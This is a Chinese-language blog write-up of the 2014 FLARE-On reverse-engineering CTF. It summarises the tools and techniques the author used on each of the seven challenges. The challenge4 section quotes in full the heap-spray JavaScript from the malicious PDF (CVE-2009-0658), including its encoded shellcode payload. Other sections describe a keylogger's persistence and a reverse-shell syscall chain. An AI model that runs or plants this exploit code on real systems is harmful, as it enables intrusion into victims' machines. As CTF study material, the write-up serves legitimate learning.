The FLARE On Challenge

  上周才开始做这个CTF,用一周左右的时间完成了全部7道题。算是为即将到来的找工作进行热身和学习,下面记录一下遇到的问题和学到的东西,具体的解题过程就不详细描述了。

 

challenge1

  这道题用IDA打开发现是一个.net程序,于是用.NET Reflector反编译定位 button的处理函数,就可以定位解码函数了。 

 

challenge2

  通过邮件里的描述(We saw what looked like attacker activity to this site)猜测页面里面被嵌入了恶意代码,对比发现隐藏在flare-on.png尾部的php代码,这里主要推荐一个比较好的在线代码测试网站: http://codepad.org/ 通过多次的执行、解码最终获取flag

 

challenge3    

  第三道题目用IDA简单看了一下发现主函数里第五个call最后会call eax,就不用多看了,因为平时分析shellcode习惯使用windbg,所以就直接通过windbg进行跟踪调试,最终顺利拿到flag

 

challenge4

  这道题拿到手发现是个pdf,在虚拟机中进行测试时发现打开速度偏慢,观察任务管理器发现内存有明显的变化,判断应该是有heap spray的操作。之前只是知道pdf漏洞利用大概原理和思路,但还没有实际分析过pdf的漏洞,因此上手前首先了解学习了一下相关知识,了解pdf漏洞的分析流程等等。

  首先,当然是要了解一下pdf的文件格式,这篇文章分析的很详细:http://hi.baidu.com/justear/item/b2c15d0e7fa0e68202ce1b19

  然后通过网上找到的一些pdf漏洞分析报告了解pdf漏洞分析与利用的大致情况,通过现有的文章发现pdf的问题分布比较广泛,有pdf本身的处理流程问题,也有JBIG2压缩、XML格式、u3d格式等等处理流程问题,而分析流程则与IE类似,主要是先要大致定位问题方向,然后一步步跟踪分析定位成因。

  考虑到这里是CTF比赛,每个人的测试环境都会不同,因此直接去定位漏洞没什么思路。  工欲善其事必先利其器,这里我利用PDFScope进一步分析此文档的格式和内容。通过分析发现pdf内部的JBIG2Decode会对内部JBIG2编码的数据流进行解析。通过PDFScope解析JIBIG2 stream,获取到JS代码,通过观察的确是heap spary。抠出shellcode直接上WinDbg进行分析,最终拿到flag。

    var HdPN = "";
	
    var Param_1 = "";
	
    var Spray = unescape("%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u9ba8%ufe01%uc7c6%ue3c1%u7e24%u437c%ue180%ub115%ub3b2%u4f66%u27b6%u9f3c%u7a4e%u412d%ubbbf%u7705%uf528%u9293%u9990%ua998%u0a47%u14eb%u3d49%u484b%u372f%ub98d%u3478%u0bb4%ud5d2%ue031%u3572%ud610%u6740%u2bbe%u4afd%u041c%u3f97%ufc3a%u7479%u421d%ub7b5%u0c2c%u130d%u25f8%u76b0%u4e79%u7bb1%u0c66%u2dbb%u911c%ua92f%ub82c%u8db0%u0d7e%u3b96%u49d4%ud56b%u03b7%ue1f7%u467d%u77b9%u3d42%u111d%u67e0%u4b92%ueb85%u2471%u9b48%uf902%u4f15%u04ba%ue300%u8727%u9fd6%u4770%u187a%u73e2%ufd1b%u2574%u437c%u4190%u97b6%u1499%u783c%u8337%ub3f8%u7235%u693f%u98f5%u7fbe%u4a75%ub493%ub5a8%u21bf%ufcd0%u3440%u057b%ub2b2%u7c71%u814e%u22e1%u04eb%u884a%u2ce2%u492d%u8d42%u75b3%uf523%u727f%ufc0b%u0197%ud3f7%u90f9%u41be%ua81c%u7d25%ub135%u7978%uf80a%ufd32%u769b%u921d%ubbb4%u77b8%u707e%u4073%u0c7a%ud689%u2491%u1446%u9fba%uc087%u0dd4%u4bb0%ub62f%ue381%u0574%u3fb9%u1b67%u93d5%u8396%u66e0%u47b5%u98b7%u153c%ua934%u3748%u3d27%u4f75%u8cbf%u43e2%ub899%u3873%u7deb%u257a%uf985%ubb8d%u7f91%u9667%ub292%u4879%u4a3c%ud433%u97a9%u377e%ub347%u933d%u0524%u9f3f%ue139%u3571%u23b4%ua8d6%u8814%uf8d1%u4272%u76ba%ufd08%ube41%ub54b%u150d%u4377%u1174%u78e3%ue020%u041c%u40bf%ud510%ub727%u70b1%uf52b%u222f%u4efc%u989b%u901d%ub62c%u4f7c%u342d%u0c66%ub099%u7b49%u787a%u7f7e%u7d73%ub946%ub091%u928d%u90bf%u21b7%ue0f6%u134b%u29f5%u67eb%u2577%ue186%u2a05%u66d6%ua8b9%u1535%u4296%u3498%ub199%ub4ba%ub52c%uf812%u4f93%u7b76%u3079%ubefd%u3f71%u4e40%u7cb3%u2775%ue209%u4324%u0c70%u182d%u02e3%u4af9%ubb47%u41b6%u729f%u9748%ud480%ud528%u749b%u1c3c%ufc84%u497d%u7eb8%ud26b%u1de0%u0d76%u3174%u14eb%u3770%u71a9%u723d%ub246%u2f78%u047f%ub6a9%u1c7b%u3a73%u3ce1%u19be%u34f9%ud500%u037a%ue2f8%ub024%ufd4e%u3d79%u7596%u9b15%u7c49%ub42f%u9f4f%u4799%uc13b%ue3d0%u4014%u903f%u41bf%u4397%ub88d%ub548%u0d77%u4ab2%u2d93%u9267%ub198%ufc1a%ud4b9%ub32c%ubaf5%u690c%u91d6%u04a8%u1dbb%u4666%u2505%u35b7%u3742%u4b27%ufc90%ud233%u30b2%uff64%u5a32%u528b%u8b0c%u1452%u728b%u3328%ub1c9%u3318%u33ff%uacc0%u613c%u027c%u202c%ucfc1%u030d%ue2f8%u81f0%u5bff%u4abc%u8b6a%u105a%u128b%uda75%u538b%u033c%uffd3%u3472%u528b%u0378%u8bd3%u2072%uf303%uc933%uad41%uc303%u3881%u6547%u5074%uf475%u7881%u7204%u636f%u7541%u81eb%u0878%u6464%u6572%ue275%u8b49%u2472%uf303%u8b66%u4e0c%u728b%u031c%u8bf3%u8e14%ud303%u3352%u57ff%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u68d2%u3233%u0101%u8966%u247c%u6802%u7375%u7265%uff54%u68d0%u786f%u0141%udf8b%u5c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%u54ff%u2c24%u6857%u2144%u2121%u4f68%u4e57%u8b45%ue8dc%u0000%u0000%u148b%u8124%u0b72%ua316%u32fb%u7968%ubece%u8132%u1772%u45ae%u48cf%uc168%ue12b%u812b%u2372%u3610%ud29f%u7168%ufa44%u81ff%u2f72%ua9f7%u0ca9%u8468%ucfe9%u8160%u3b72%u93be%u43a9%ud268%u98a3%u8137%u4772%u8a82%u3b62%uef68%u11a4%u814b%u5372%u47d6%uccc0%ube68%ua469%u81ff%u5f72%ucaa3%u3154%ud468%u65ab%u8b52%u57cc%u5153%u8b57%u89f1%u83f7%u1ec7%ufe39%u0b7d%u3681%u4542%u4645%uc683%ueb04%ufff1%u68d0%u7365%u0173%udf8b%u5c88%u0324%u5068%u6f72%u6863%u7845%u7469%uff54%u2474%uff40%u2454%u5740%ud0ff");
	
    var Param_2 = "";

    for (i=128;i>=0;--i)
		Param_2 += unescape("%ub32f%u3791");
    
	var Param_3 = Param_2 + Spray;
    
	var Param_4 = unescape("%ub32f%u3791");
    
	var Param_5 = 20;
    
	var Param_6 = Param_5+Param_3.length
    
	while (Param_4.length<Param_6) 	
		Param_4+=Param_4;
    
	var Param_7 = Param_4.substring(0, Param_6);
    
	var Param_8 = Param_4.substring(0, Param_4.length-Param_6);
    
	while(Param_8.length+Param_6 < 0x40000) 
		Param_8 = Param_8+Param_8+Param_7;
    
	var Param_9 = new Array();
    
	for (i=0;i<100;i++) 
		Param_9[i] = Param_8 + Param_3;

    for (i=142;i>=0;--i) 	
		Param_1 += unescape("%ub550%u0166");
    
	var Param_10 = Param_1.length + 20
    
	while (Param_1.length < Param_10) 
		Param_1 += Param_1;
    
	var Param_11 = Param_1.substring(0, Param_10);
    
	var Param_12 = Param_1.substring(0, Param_1.length-Param_10);
    
	while(Param_12.length+Param_10 < 0x40000) 
		Param_12 = Param_12+Param_12+Param_11;
    
	var Param_13 = new Array();
    
	for (i=0;i<125;i++) 
		Param_13[i] = Param_12 + Param_1;

 

  PS:后来跟同学交流知道这里的题目环境是CVE-2009-0658,针对漏洞成因接下来准备进一步分析学习一下。

 

challenge5

  这道题拿到手后发现是一个dll,对于没有符号的dll还是使用Olldbg跟踪调试比较方便,配合IDA,发现这个dll实现了键盘记录器的功能,它将自己拷贝到系统目录伪装成svchost.dll,并在注册表注册了自启动项,从而实现自启动。同时,程序在自身目录下创建svchost.org记录用户按键。

  刚开始,发现sub_10009EB0里实现了键盘按键的检测,面对复杂的流程,我不想深入分析。并且初步判断其内部应该不是解题的关键,然而跟踪走完整个程序的主流程后,并没有发现什么异常,从而开始纳闷这道题的解题思路。最终还是从sub_10009EB0入手,发现有些按键的处理会复杂一些。

  而且这些按键的处理具有一定的规律,如果某值X大于0,则对其进行置0操作,并且对X+4处置1,因此判断这些按键的按下操作会互相影响。于是记录所有具有类似操作的按键:0、5、a、c、d、e、f、g、h、i、k、l、m、n、o、r、s、t、u。并对其内部判断逻辑进行整理,在此过程中还发现程序对l和m两键的处理更加特殊,l会判断dword_10017000是否为0,并对dword_10019460置1;而m则会在dword_100194FC>=1的情况下,call    sub_10001240。看来只要按照逻辑设计按键顺序,最终引导至m调用sub_10001240,即是获取此关flag的关键所在~ 

  最终,在输入flag(由前面的按键组成)后,程序最终调用dword_10019460,我一直跟踪调试至弹出最终的对话框(由于太专注,原以为flag会在最后呈现呢,最后才发现由前面的按键组合就是flag了)。面对最终界面我不禁被出题者的思路所震撼,什么时候ISCC要是也能出这样的题,那就NB了。。。

 

challenge6

  虽然去年的一个项目要求部署至Linux,但由于不习惯Linux下的编程环境,我还是选择了使用C++在VS下开发、测试,最终经过微调部署至Linux,也因此没有积累下GDB等调试器的使用经验。对于Linux程序的逆向调试,我更是缺乏这方面的经验,这回只好从头开始学起。

  为了做题,首先还是用IDA大致看一眼,找到程序的主函数先。不过这第一步就难住了我,发现程序使用静态编译加大了分析难度,而且不了解唯一有名字的几个函数的功能。为了找到程序的主函数,在网上找到了一篇很详细的文章——linux编程之main()函数启动过程 ,并且通过源码定位了程序启动过程:

        start -> __libc_start_main -> __libc_csu_init -> _init (_init_proc)    
                                           -> main()

  同时也学习了Linux x64的函数调用约定    

    (1) 参数个数少于7个:
      f (a, b, c, d, e, f);
      a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9

      g (a, b)
      a->%rdi, b->%rsi

    (2) 参数个数大于 7 个的时候
      H(a, b, c, d, e, f, g);
      a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%rax
      g->8(%esp)
      f->(%esp)
      call H

  至此,参照参考资料、源码并对照IDA里反汇编出来的代码,我基本弄清楚了Linux程序的启动过程,也定位了主函数位置:

             

    主函数里唯一调用了sub_452079这个子函数,这个函数非常大,以至于不能通过IDA的Graph View来观察函数的执行流程。并且看了其调用的前几个子函数后感到很奇怪,为什么都只是把数据段里的字符串等数据往栈上塞,而没有其他任何系统调用之类的操作。而程序里出现了不少读取栈上指针所指内容往bss段进行写操作的片段,如下图,看来在动态跟踪调试的时候这个地方需要注意一下。

  在调试前当然是想要运行一下看看,发现输入不同数量的参数,其返回内容也不一样。  

  随后,我就进入了艰难、漫长的跟踪调试阶段,既然无从下手,也就只能先一步步跟跟看了。调试了一阵后觉得特别痛苦,就跟已经做完的朋友抱怨Linux环境下跟踪调试的各种不爽,而他则提醒我用IDA双机调试。于是切换至IDA,进行双机调试(这里提醒一下,如果配置正确,但IDA仍始终不能连接目标主机的话,很有可能是目标主机防火墙没有关闭)。  在接下来同样漫长、郁闷的跟踪调试阶段里,慢慢跟踪分析清楚了程序执行流程。在不同的参数情况下,程序退出前bss段里的数据情况不一样,可以看出程序输出“bad”字符串并退出时bss段里的数据最多,但仍然不完整。我猜想只要控制程序流程,最终这里会被填满吧。。。难道flag就保存在这里?

  这里提一下,在调试环境下,设置2个参数时,程序最终并不像之前输出“bad”,而是返回“Program received signal SIGSEGV, Segmen”,定位至程序返回前的位置:

  从下往上,sub_45E790实现了程序返回退出的功能,可以通过交叉引用定位其他返回点;sub_45EBE0实现了输出功能,同样可以通过交叉引用定位程序中其他的输出点;sub_4742B0进行了系统调用,调用号是65h,可以通过Linux System Call Table for x86_64  查找系统调用号对应的系统调用函数,这里65h对应sys_ptrace系统调用,它实现了子进程请求父进程跟踪或由父进程向子进程发跟踪命令的功能,由于程序已经处于调试状态,因此此系统调用会返回0xFFFFFFFFFFFFFFFF,这里则用它来进行反调试,因此函数返回后应对rax进行清零操作。

  之后,在程序输出“bad”并返回前,有如图所示的操作,其中sub_400370会将堆上的字符串“gdebc`ano7”与aBngcgDebg对比,如果不相等则会返回非0值,由于这里处在一个大循环里,因此直接修改aBngcgDebg为“gdebc`ano7”,从而改变程序执行流程继续向下执行。

  在另外一个“bad”那里,有如图所示的操作,通过repne scasb计算了argv[1]的长度,如果长度为0x0A,则不退出,跳转执行流程继续向下执行。因此我们应该将参数1的长度设置为10

  由于刚开始判断最终的flag可能会隐藏在逐渐填充的bss段里,因此之后我不断手动改变执行流程,最终在程序返回前发现bss段里出现了一段base64编码的字符串,解码后发现是“OMG this is Ko fake y u no kno dis???? i troll you hard”,这才知道自己被“调戏”了。。。

  之后还是回到正常的分析流程上来,之前一直在如下图所示的位置卡死,现在来看看它是什么。0x23号系统调用代表sys_nanosleep,原来此处使调用进程睡眠。因此追溯到其父函数的父函数处修改睡眠时间为0,从而越过这个暗桩。

  最终,翻山越岭程序来到这里,啊哈,flag一定藏在里面。

  之后就是对通过程序的argv[2]依次判断,跳转到最后的sys_socket、sys_connect、sys_dup2、sys_execve。。。这里argv[2]就是最终的flag了。

  最后总结一下,做完这道题最大的收获还是——工欲善其事必先利其器。通过IDA双机调试,仿佛在调试一个Windows程序那样为我省了很多事。其次是学习了解了Linux程序启动过程、调用约定、系统调用、反调试等等。

 

challenge7

  这道题使用了多种反调试技术虚拟机检测技术,除此之外还检测了断点的数量,时间是否吻合等,个人认为这道题难度没有上一道题高,但确很绕很烦人,为了确定正确的执行流程,进行了很多尝试。还有后面为了FQ,要通过goagent设置代理,调整InternetOpenW的参数,刚开始用win7+IE10怎么弄都不行,后来换成win7+IE8就可以了(也许第一天是什么地方没有设置好?)。  后来跟朋友吐槽说这是给国内玩家增加难度,哈哈。。

  注意一下InternetOpen()的第二个参数就可以了

    #define INTERNET_OPEN_TYPE_PRECONFIG                    0   // use registry configuration
    #define INTERNET_OPEN_TYPE_DIRECT                          1   // direct to net
    #define INTERNET_OPEN_TYPE_PROXY                           3   // via named proxy
    #define INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY  4   // prevent using java/script/INS

  最后的结果仍然使用.NET Reflector反编译,刚开始尝试直接建立C++工程运行输出,结果发现unicode字符的问题不好解决,就还是用C#了,现学现卖..

总结

  通过这个CTF进一步锻炼、提升了自己逆向、调试能力,并且也学到不少东西。最最大的体会还是工欲善其事必先利其器,运用好的工具往往会事倍功半,在学习积累过程中不断收集、自己编写顺手的小工具也很有意义。

 

posted @ 2014-08-29 23:10  Danny__Wei  阅读(1945)  评论(1编辑  收藏  举报